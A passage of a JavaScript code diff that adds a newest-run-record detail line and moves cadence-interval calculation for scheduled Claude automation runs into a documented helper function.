286
  );
264
287
  }
288
+ if (runDisplay?.lastOutcome?.ts) {
289
+ observedDetails.push(`Newest run record: ${runDisplay.lastOutcome.ts}`);
290
+ }
265
291
  if (observed?.lastRunSummary) {
266
292
  observedDetails.push(`Latest summary: ${observed.lastRunSummary}`);
267
293
  } else if (observed?.lastRunFailed == null) {
@@ -337,11 +363,10 @@ function classifyAutomationRunSignal(input) {
337
363
  return null;
338
364
  }
339
365
 
340
- const cadenceMs =
341
- rruleToIntervalMs(observed.observedRRule) ??
342
- cadenceLabelToIntervalMs(
343
- observed.observedCadence ?? input.expected.expectedCadence
344
- );
366
+ const cadenceMs = resolveObservedCadenceMs({
367
+ observed,
368
+ expected: input.expected,
369
+ });
345
370
  if (!cadenceMs) {
346
371
  return null;
347
372
  }
@@ -364,6 +389,31 @@ function classifyAutomationRunSignal(input) {
364
389
  return null;
365
390
  }
366
391
 
392
+ /**
393
+ * Milliseconds between scheduled runs, preferring what the scheduler actually
394
+ * reports over what the fleet expects.
395
+ *
396
+ * The observed RRULE wins because a loop re-cadenced on the scheduler is still
397
+ * a correctly running loop; measuring it against the expected cadence would
398
+ * manufacture findings out of an intentional change.
399
+ *
400
+ * @param {{
401
+ * readonly observed: ObservedClaudeAutomation
402
+ * readonly expected: { readonly expectedCadence?: string }
403
+ * }} input - Observed scheduler entry and its expected-fleet counterpart.
404
+ * @returns {number | null} Interval in milliseconds, or `null` when neither
405
+ * side expresses a parseable cadence.
406
+ */
407
+ function resolveObservedCadenceMs(input) {
408
+ return (
409
+ rruleToIntervalMs(input.observed.observedRRule) ??
410
+ cadenceLabelToIntervalMs(
411
+ input.observed.observedCadence ?? input.expected.expectedCadence
412
+ ) ??
413
+ null
414
+ );
415
+ }
416
+
367
417
  function coerceClaudeScheduleEntries(scheduleListing) {
368
418
  if (!scheduleListing) {
369
419
  return [];